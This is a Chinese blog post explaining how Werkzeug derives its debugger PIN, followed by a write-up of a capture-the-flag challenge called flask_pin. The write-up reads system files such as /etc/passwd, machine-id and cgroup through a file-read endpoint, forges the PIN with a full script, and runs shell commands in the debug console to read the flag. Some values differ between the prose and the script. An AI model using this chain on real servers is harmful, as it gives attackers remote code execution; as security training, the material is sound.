FlaskPIN

一、PIN 码介绍及生成方式

PIN 是 Werkzeug(它是 Flask 的依赖项之一)提供的额外安全措施,以防止在不知道 PIN 的情况下访问调试器。您可以使用浏览器中的调试器引脚来启动交互式调试器。

请注意,无论如何,您都不应该在生产环境中使用调试模式,因为错误的堆栈跟踪可能会揭示代码的多个方面。

调试器 PIN 只是一个附加的安全层,以防您无意中在生产应用程序中打开调试模式,从而使攻击者难以访问调试器。

——来自StackOverFlow回答

Werkzeug 不同版本以及 python 不同版本都会影响 PIN 码的生成,但是 PIN 码并不是随机生成,当我们重复运行同一程序时生成的 PIN 一样,其生成满足一定的生成算法

1. PIN 生成

文件路径:.../site-packages/werkzeug/debug/__init__.py

def get_pin_and_cookie_name(
    app: WSGIApplication,
) -> tuple[str, str] | tuple[None, None]:
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.

    Second item in the resulting tuple is the cookie name for remembering.
    """
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == "off":
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdecimal():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin

    modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
    username: str | None

    try:
        # getuser imports the pwd module, which does not exist in Google
        # App Engine. It may also raise a KeyError if the UID does not
        # have a username, such as in Docker.
        username = getpass.getuser()
    # Python >= 3.13 only raises OSError
    except (ImportError, KeyError, OSError):
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", type(app).__name__),
        getattr(mod, "__file__", None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [str(uuid.getnode()), get_machine_id()]

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode()
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name
1.1. 官方注释

传入一个应用对象后,该函数会返回一个相对稳定的 9 位 PIN 码以及一个随机生成的密钥。设计它的目的是为了在应用重启后依然尽量保持 PIN 不变,从而避免调试时因为 PIN 频繁变化而造成困扰。如果 PIN 被强制禁用,则会返回 None

返回的元组中,第二个元素是用于“记住”状态的 cookie 名称

1.2. 关键代码
modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)

作用:尽量获取 app 所属模块名

  • 尝试从对象 app 上直接获取属性 __module__
  • __module__ 通常表示该对象所在模块的名称
  • 如果 app 没有 __module__ 属性,就会使用 第三个参数 作为默认值
  • t.cast(object, app).__class__.__module__ 等价于 app.__class__.__module__
  • t.cast(object, app) 是 Python typing(类型提示)中的语法,为了满足类型推断而不让编辑器报错,返回 app 本身
  • .__class__ 得到对象的类 <class 'flask.app.Flask'>
  • .__module__ 得到该类所在的模块名 'flask.app'
getattr(app, "__name__", type(app).__name__)

作用:尽量获取 app 的名字

  • 尝试从对象 app 上直接获取属性 __name__
  • __name__ 表示该对象的名称
  • 模块的 __name__ 是模块名
  • 函数的 __name__ 是函数名
  • 类的 __name__ 是类名
  • 类实例(对象)通常没有 __name__
  • 如果 app 没有 __name__ 属性,就会使用 第三个参数 作为默认值
  • Flask 的 app 对象本质上是一个类的实例(Flask(...)),默认没有 __name__ 属性
  • Flask 返回 type(app).__name__,得到 app 实例对象的类 Flask__name__,即 'Flask'
mod = sys.modules.get(modname)
getattr(mod, "__file__", None)

作用:获取 app 所属模块文件路径

  • sys.modules 是一个字典,保存着当前 Python 进程中已经导入过的所有模块
  • sys.modules.get(modname) 的作用是从 sys.modules 里获取名称为 modname 的模块对象
  • <module 'flask.app' from 'D:\\Workspace\\FlaskPIN\\.venv\\Lib\\site-packages\\flask\\app.py'>
  • 尝试从对象 mod 上直接获取属性 __file__
  • __file__ 是 Python 在加载模块时自动添加的变量,表示当前模块对应的文件路径
  • D:\Workspace\FlaskPIN\.venv\Lib\site-packages\flask\app.py
  • 如果 mod 没有 __file__ 属性,就会使用 第三个参数 None 作为默认值
probably_public_bits = [
    username,
    modname,
    getattr(app, "__name__", type(app).__name__),
    getattr(mod, "__file__", None),
]

probably_public_bits 是一组可能公开、不敏感、但能区分环境的信息,包括:

  • 用户名
  • 模块名
  • app 的名字
  • 模块文件路径
private_bits = [str(uuid.getnode()), get_machine_id()]

private_bits 是一组更难被外部猜到,带有一定私密性的系统标识信息,包括:

  • 机器的 MAC 地址
  • 系统唯一的机器 ID

probably_public_bitsprivate_bits 两者共同作用,让生成的 key 在每个环境唯一、具有一定的不可预测性、可重复且不容易被外人推算

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode()
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

生成 cookie_name

  • 遍历 probably_public_bits + private_bits
  • 跳过空值
  • 如果是字符串,转成 bytes(因为 hash 只能处理 bytes,不处理 str)
  • 把 bit 添加到 SHA1 中,每次 update 都将内容叠加到哈希计算中
  • 加入一个固定的盐 “cookiesalt”
  • __wzd 和最终 hash 的前 20 个十六进制字符组成 cookie 名称
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

生成 rv

  • h.update(b"pinsalt")
  • 在前面加过 cookiesalt 的哈希里再加上 pinsalt
  • 即使都来自同一堆系统信息,但 cookie 名和 PIN 不会相同
  • int(h.hexdigest(), 16)
  • h.hexdigest() 得到的是 40 位十六进制字符串
  • int(..., 16) 把它当成 16 进制整数转成一个超大十进制整数
  • f"{...:09d}"[:9]
  • :09d 至少 9 位,不够前面补 0
  • [:9] 只取前 9 位
  • for group_size in 5, 4, 3:
  • 尝试将 num 按不同长度分组
  • 依次尝试 5 位一组、4 位一组、3 位一组,只有当总长度能被 group_size 整除时,才用这种分组方式
  • "-".join(...)
  • 使用 - 将每组拼接起来
  • rjust(group_size, "0")
  • Python 字符串的方法,用来将字符串在左侧用指定字符补齐到固定长度
  • rv = num
  • 兜底情况,如果按 5/4/3 都不能整除,就不分组

2. MAC 地址获取

文件路径:.../Python313/Lib/uuid.py

def _unix_getnode():
    """Get the hardware address on Unix using the _uuid extension module."""
    if _generate_time_safe and _has_stable_extractable_node:
        uuid_time, _ = _generate_time_safe()
        return UUID(bytes=uuid_time).node

def _windll_getnode():
    """Get the hardware address on Windows using the _uuid extension module."""
    if _UuidCreate and _has_stable_extractable_node:
        uuid_bytes = _UuidCreate()
        return UUID(bytes_le=uuid_bytes).node

def _random_getnode():
    """Get a random node ID."""
    # RFC 9562, §6.10-3 says that
    #
    #   Implementations MAY elect to obtain a 48-bit cryptographic-quality
    #   random number as per Section 6.9 to use as the Node ID. [...] [and]
    #   implementations MUST set the least significant bit of the first octet
    #   of the Node ID to 1. This bit is the unicast or multicast bit, which
    #   will never be set in IEEE 802 addresses obtained from network cards.
    #
    # The "multicast bit" of a MAC address is defined to be "the least
    # significant bit of the first octet".  This works out to be the 41st bit
    # counting from 1 being the least significant bit, or 1<<40.
    #
    # See https://en.wikipedia.org/w/index.php?title=MAC_address&oldid=1128764812#Universal_vs._local_(U/L_bit)
    return int.from_bytes(os.urandom(6)) | (1 << 40)


# _OS_GETTERS, when known, are targeted for a specific OS or platform.
# The order is by 'common practice' on the specified platform.
# Note: 'posix' and 'windows' _OS_GETTERS are prefixed by a dll/dlload() method
# which, when successful, means none of these "external" methods are called.
# _GETTERS is (also) used by test_uuid.py to SkipUnless(), e.g.,
#     @unittest.skipUnless(_uuid._ifconfig_getnode in _uuid._GETTERS, ...)
if _LINUX:
    _OS_GETTERS = [_ip_getnode, _ifconfig_getnode]
elif sys.platform == 'darwin':
    _OS_GETTERS = [_ifconfig_getnode, _arp_getnode, _netstat_getnode]
elif sys.platform == 'win32':
    # bpo-40201: _windll_getnode will always succeed, so these are not needed
    _OS_GETTERS = []
elif _AIX:
    _OS_GETTERS = [_netstat_getnode]
else:
    _OS_GETTERS = [_ifconfig_getnode, _ip_getnode, _arp_getnode,
                   _netstat_getnode, _lanscan_getnode]
if os.name == 'posix':
    _GETTERS = [_unix_getnode] + _OS_GETTERS
elif os.name == 'nt':
    _GETTERS = [_windll_getnode] + _OS_GETTERS
else:
    _GETTERS = _OS_GETTERS

_node = None

def getnode():
    """Get the hardware address as a 48-bit positive integer.

    The first time this runs, it may launch a separate program, which could
    be quite slow.  If all attempts to obtain the hardware address fail, we
    choose a random 48-bit number with its eighth bit set to 1 as recommended
    in RFC 4122.
    """
    global _node
    if _node is not None:
        return _node

    for getter in _GETTERS + [_random_getnode]:
        try:
            _node = getter()
        except:
            continue
        if (_node is not None) and (0 <= _node < (1 << 48)):
            return _node
    assert False, '_random_getnode() returned invalid value: {}'.format(_node)
2.1. 官方注释

获取硬件地址作为一个 48 位的正整数。

第一次运行时,它可能会启动一个独立的程序,这可能会比较慢。如果获取硬件地址的所有尝试都失败了,我们会选择一个随机的 48 位数字,并将其第八位设置为 1,这也是 RFC 4122 中推荐的做法。

将 MAC 地址的第八位 本地管理位(locally administered bit, LAA) 设置为 1 是为了标记这个地址不是由硬件厂商分配的真实 MAC 地址,而是本地随机生成的地址

  • 0:全局唯一地址,通常由 IEEE 分配给网卡厂商
  • 1:本地管理地址,可以人为生成

最终获得的是 当前机器的某一个真实网卡的 MAC 地址,但具体是哪一个取决于系统使用的底层 API 或命令

2.2. 关键代码
for getter in _GETTERS + [_random_getnode]:
    try:
        _node = getter()
    except:
        continue

_GETTERS + [_random_getnode] 是所有“获取 MAC 地址的方法列表”,通过遍历这些方法获得本机的 MAC 地址

  • _GETTERS 是一个函数列表,每个函数都尝试用不同方式获取本机的 MAC 地址
  • _random_getnode 是一个兜底函数,用于在前面方法全部失败时生成一个随机的 48 位伪 MAC 地址
if (_node is not None) and (0 <= _node < (1 << 48)):
    return _node

_node 值不是 None 且在 0 ~ 2^48 - 1 (48 位正整数)范围内时,这个值就被返回,整个函数结束

assert False, '_random_getnode() returned invalid value: {}'.format(_node)

如果循环结束了还没返回(理论上不应该),程序会抛出 AssertionError 并显示错误信息

if _LINUX:
    _OS_GETTERS = [_ip_getnode, _ifconfig_getnode]
elif sys.platform == 'darwin':
    _OS_GETTERS = [_ifconfig_getnode, _arp_getnode, _netstat_getnode]
elif sys.platform == 'win32':
    _OS_GETTERS = []
elif _AIX:
    _OS_GETTERS = [_netstat_getnode]
else:
    _OS_GETTERS = [_ifconfig_getnode, _ip_getnode, _arp_getnode,
                   _netstat_getnode, _lanscan_getnode]
if os.name == 'posix':
    _GETTERS = [_unix_getnode] + _OS_GETTERS
elif os.name == 'nt':
    _GETTERS = [_windll_getnode] + _OS_GETTERS
else:
    _GETTERS = _OS_GETTERS

不同操作系统有不同的方法获取 MAC 地址,所以这里根据平台动态构建 _GETTERS 列表,根据操作系统构建 _OS_GETTERS

构建 _OS_GETTERS

  • Linux
if _LINUX:
    _OS_GETTERS = [_ip_getnode, _ifconfig_getnode]
  1. ip link
  2. ifconfig
  • macOS (Darwin)
elif sys.platform == 'darwin':
    _OS_GETTERS = [_ifconfig_getnode, _arp_getnode, _netstat_getnode]
  1. ifconfig
  2. arp
  3. netstat
  • Windows
elif sys.platform == 'win32':
    _OS_GETTERS = []

因为 _windll_getnode 永远能成功,所以不需要外部方法

  • AIX
elif _AIX:
    _OS_GETTERS = [_netstat_getnode]
  • 其他 POSIX 系统(类 Unix)
else:
    _OS_GETTERS = [_ifconfig_getnode, _ip_getnode, _arp_getnode,
                   _netstat_getnode, _lanscan_getnode]
  1. ifconfig
  2. ip link
  3. arp
  4. netstat
  5. lanscan

构建 _GETTERS

if os.name == 'posix':
    _GETTERS = [_unix_getnode] + _OS_GETTERS
elif os.name == 'nt':
    _GETTERS = [_windll_getnode] + _OS_GETTERS
else:
    _GETTERS = _OS_GETTERS
  • POSIX 系统(Linux、macOS、Unix)
  • 首先尝试内部 API
  • 如果失败再按之前 OS 指定的顺序尝试外部方法
  • Windows 系统
  • 通过 Windows API
  • 非 POSIX 非 Windows 系统
  • 直接使用 _OS_GETTERS

系统 API

def _unix_getnode():
    """Get the hardware address on Unix using the _uuid extension module."""
    if _generate_time_safe and _has_stable_extractable_node:
        uuid_time, _ = _generate_time_safe()
        return UUID(bytes=uuid_time).node

从Python 自带的 C 扩展 _uuid 中调用 _generate_time_safe(),直接获取 UUID v1 的时间字段,此字段由底层 系统调用生成,通常包含真实的 MAC 地址。

  1. 检查扩展是否可用
if _generate_time_safe and _has_stable_extractable_node:
  • _generate_time_safe:C 扩展提供的函数(生成 UUID v1)
  • _has_stable_extractable_node:表示能从扩展提供的数据中可靠提取 MAC
  1. 调用底层 C 实现生成时间 UUID
uuid_time, _ = _generate_time_safe()

返回值含有 16 字节 UUID 的原始 bytes

  1. 从 bytes 构造 UUID 对象,再提取 node (MAC 地址)
return UUID(bytes=uuid_time).node

UUID 的 .node 字段就是 48 位 MAC 地址

def _windll_getnode():
    """Get the hardware address on Windows using the _uuid extension module."""
    if _UuidCreate and _has_stable_extractable_node:
        uuid_bytes = _UuidCreate()
        return UUID(bytes_le=uuid_bytes).node

在 Windows 上,通过调用 Windows API UuidCreate() 生成 UUID,再从中提取 MAC 地址,这是通过 ctypes 调用系统 DLL 的方式

  1. 检查扩展是否可用
if _UuidCreate and _has_stable_extractable_node:
  • _UuidCreate:Windows 的 API
  • _has_stable_extractable_node:表示能从扩展提供的数据中可靠提取 MAC
  1. 调用 Windows API
uuid_bytes = _UuidCreate()

返回值是 16 字节的 UUID

  1. 构造 UUID 对象并提取 node
return UUID(bytes_le=uuid_bytes).node

UUID 的 .node 字段就是 48 位 MAC 地址

3. 机器 ID 获取

文件路径:.../site-packages/werkzeug/debug/__init__.py

def get_machine_id() -> str | bytes | None:
    global _machine_id

    if _machine_id is not None:
        return _machine_id

    def _generate() -> str | bytes | None:
        linux = b""

        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:
                continue

            if value:
                linux += value
                break

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except OSError:
            pass

        if linux:
            return linux

        # On OS X, use ioreg to get the computer's serial number.
        try:
            # subprocess may not be available, e.g. Google App Engine
            # https://github.com/pallets/werkzeug/issues/925
            from subprocess import PIPE
            from subprocess import Popen

            dump = Popen(
                ["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
            ).communicate()[0]
            match = re.search(b'"serial-number" = <([^>]+)', dump)

            if match is not None:
                return match.group(1)
        except (OSError, ImportError):
            pass

        # On Windows, use winreg to get the machine guid.
        if sys.platform == "win32":
            import winreg

            try:
                with winreg.OpenKey(
                    winreg.HKEY_LOCAL_MACHINE,
                    "SOFTWARE\\Microsoft\\Cryptography",
                    0,
                    winreg.KEY_READ | winreg.KEY_WOW64_64KEY,
                ) as rk:
                    guid: str | bytes
                    guid_type: int
                    guid, guid_type = winreg.QueryValueEx(rk, "MachineGuid")

                    if guid_type == winreg.REG_SZ:
                        return guid.encode()

                    return guid
            except OSError:
                pass

        return None

    _machine_id = _generate()
    return _machine_id
3.1. 关键代码
  • Linux
  • 优先读取 /etc/machine-id/proc/sys/kernel/random/boot_id,如果读取成功,形成初步的 machine ID
    • /etc/machine-id:跨重启稳定
    • /proc/sys/kernel/random/boot_id:每次启动不同
  • 加入容器信息(cgroup)
    • 容器(Docker)中的 /etc/machine-id 很可能和宿主机相同
    • 追加 cgroup 最后一段 ID,可以区分容器进程
  • 最终 linux ID
    • 非容器环境:machine-id
    • 容器环境:machine-id + container-id
  • macOS
  • macOS 没有 machine-id
  • 通过 ioreg 解析序列号(base16 二进制形式)
  • Windows
  • 注册表中 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography 的值
  • Windows 用于标识安装实例的 GUID

二、例题解析

题目来源:PolarD&N

题目名称:flask_pin

1. 信息收集

使用 dirsearch 进行扫描

  • /console 是 Werkzeug 调试器的 交互式 Python 控制台
  • /file 是任意文件读取接口(/file?filename=xxx
C:\Users\puppy>dirsearch -u http://5ff288b3-b0f3-40f9-abd9-1121ebaf4c19.www.polarctf.com:8090/
C:\Users\puppy\pipx\venvs\dirsearch\Lib\site-packages\dirsearch\dirsearch.py:23: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3.post1
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: C:\Users\puppy\reports\http_5ff288b3-b0f3-40f9-abd9-1121ebaf4c19.www.polarctf.com_8090\__25-11-22_16-23-25.txt

Target: http://5ff288b3-b0f3-40f9-abd9-1121ebaf4c19.www.polarctf.com:8090/

[16:23:25] Starting:
[16:23:48] 200 -    2KB - /console
[16:23:53] 200 -   27B  - /file

Task Complete

要进入 Werkzeug 调试器的控制台,需要获取以下信息来计算 PIN 码

  • Python 版本(确定 PIN 生成时的加密算法)
  • Python 3.5
  • 来源:报错信息获取
  • 模块名
  • flask.app
  • 来源:Flask 程序默认
  • 用户名
  • root
  • 来源:读取 /etc/passwd
  • 应用名
  • Flask
  • 来源:Flask 程序默认
  • 模块路径
  • /usr/local/lib/python3.5/site-packages/flask/app.py
  • 来源:报错信息获取
  • MAC 地址
  • 十六进制形式:02:42:ac:02:1b:44
  • 十进制形式:2485376916292
  • 来源:读取 /sys/class/net/eth0/address
  • 机器 ID
  • 题目为 Docker 虚拟环境,同时需要 machine_id 和 cgroup_id
  • machine_id
    • c31eea55a29431535ff01de94bdcf5cf
    • 来源:读取 /etc/machine-id
  • cgroup_id
    • d392a9178c52ae26dc2ab890bdeb95b8beb455e9c9083ecfc2ea8b8acd64c666
    • 来源:读取 /proc/self/cgroup
  • 最终 ID
    • c31eea55a29431535ff01de94bdcf5cfd392a9178c52ae26dc2ab890bdeb95b8beb455e9c9083ecfc2ea8b8acd64c666
    • 来源:machine_id 与 cgroup_id 拼接

2. 漏洞利用

使用上述信息,利用如下脚本计算 PIN 码:217-740-865

import hashlib
from itertools import chain


class PIN:
    def __init__(self):
        self.public_bits = []
        self.private_bits = []

        self.num = None
        self.rv = None

    def set_public_bits(self, modname, username, appname, modpath):
        self.public_bits = [
            username,
            modname,
            appname,
            modpath,
        ]

    def set_private_bits(self, node, machine_id):
        self.private_bits = [
            node,
            machine_id
        ]

    def get_pin(self):
        h = hashlib.md5()
        for bit in chain(self.public_bits, self.private_bits):
            if not bit:
                continue
            if isinstance(bit, str):
                bit = bit.encode()
            h.update(bit)
        h.update(b"cookiesalt")

        if self.num is None:
            h.update(b"pinsalt")
            self.num = ("%09d" % int(h.hexdigest(), 16))[:9]

        if self.rv is None:
            for group_size in 5, 4, 3:
                if len(self.num) % group_size == 0:
                    self.rv = "-".join(
                        self.num[x: x + group_size].rjust(group_size, "0")
                        for x in range(0, len(self.num), group_size)
                    )
                    break
            else:
                self.rv = self.num

        return self.rv

if __name__ == '__main__':
    # modname 默认 flask.app
    modname = 'flask.app'
    # username 读取 /etc/passwd
    username = 'root'
    # appname 默认 Flask
    appname = 'Flask'
    # modpath 默认 /usr/local/lib/python3.x/site-packages/flask/app.py
    modpath = '/usr/local/lib/python3.5/site-packages/flask/app.py'

    # mac 读取 /sys/class/net/eth0/address
    mac = '02:42:ac:02:1b:71'
    node = str(int(mac.replace(":", ""), 16))

    # machine_id 读取 /etc/machine-id
    machine_id = 'c31eea55a29431535ff01de94bdcf5cf'
    # cgroup_id 读取 /proc/self/cgroup (虚拟环境需要)
    cgroup_id = '89ece009d8c7e92745424de3055ee99a460911176e26e272c022b580a1736f9f'

    machine_id += cgroup_id

    p = PIN()
    p.set_public_bits(modname, username, appname, modpath)
    p.set_private_bits(node, machine_id)
    pin = p.get_pin()

    print(pin)

访问 /console使用 PIN 码进入控制台,获得 flag

[console ready]
>>> import os
>>> print(os.popen('ls /').read())
app
bin
boot
dev
etc
flag.sh
flaggggg
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

>>> print(os.popen('cat /flaggggg').read())
flag{873894c49201cd995ee2c52e6270630d}
>>> 

3. 注意事项

  • 本文第一部分(PIN 码介绍及生成方式)使用的 Python 3.13 环境中生成 PIN 码时的加密方式为 SHA1,而该题目使用的 Python 3.5 环境中生成 PIN 码时的加密方式为 MD5,具体可在 Werkzeug 的 PyPI 官方仓库 查询不同 Python 版本所使用的 Werkzeug 版本,并在 Werkzeug 的 Github 仓库 查看相应源码
  • 读取 /proc/self/cgroup 时需要获得的 cgroup_id 为下图所示内容

参考文章:

深入浅出 Flask PIN

首先,特别感谢你能读到这里,每一份认真的阅读都是对内容创作的莫大鼓励。本文在撰写过程中,参考了多篇行业内公开的研究文献、专业分析及前辈创作者的分享成果。这些优质内容为文章观点的形成提供了重要启发与支撑,也让思考更加全面。不过因部分参考材料来自广泛的公开信息领域,未能逐一详尽标注具体出处,所以在此谨向所有致力于知识分享与行业研究的创作者,致以诚挚的感谢与敬意。

此外,若文中存在事实表述偏差、逻辑疏漏,或你对本文涉及的话题持有不同见解、希望补充相关案例与内容,欢迎通过评论区留言,或发送邮件至 puppy1599@outlook.com 与我交流。我始终相信,一篇有价值的文章从来不是单向的输出,而是通过开放讨论共同打磨的结果。期待和你一起完善对相关主题的认知,让内容的严谨性与参考价值进一步提升。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
下一篇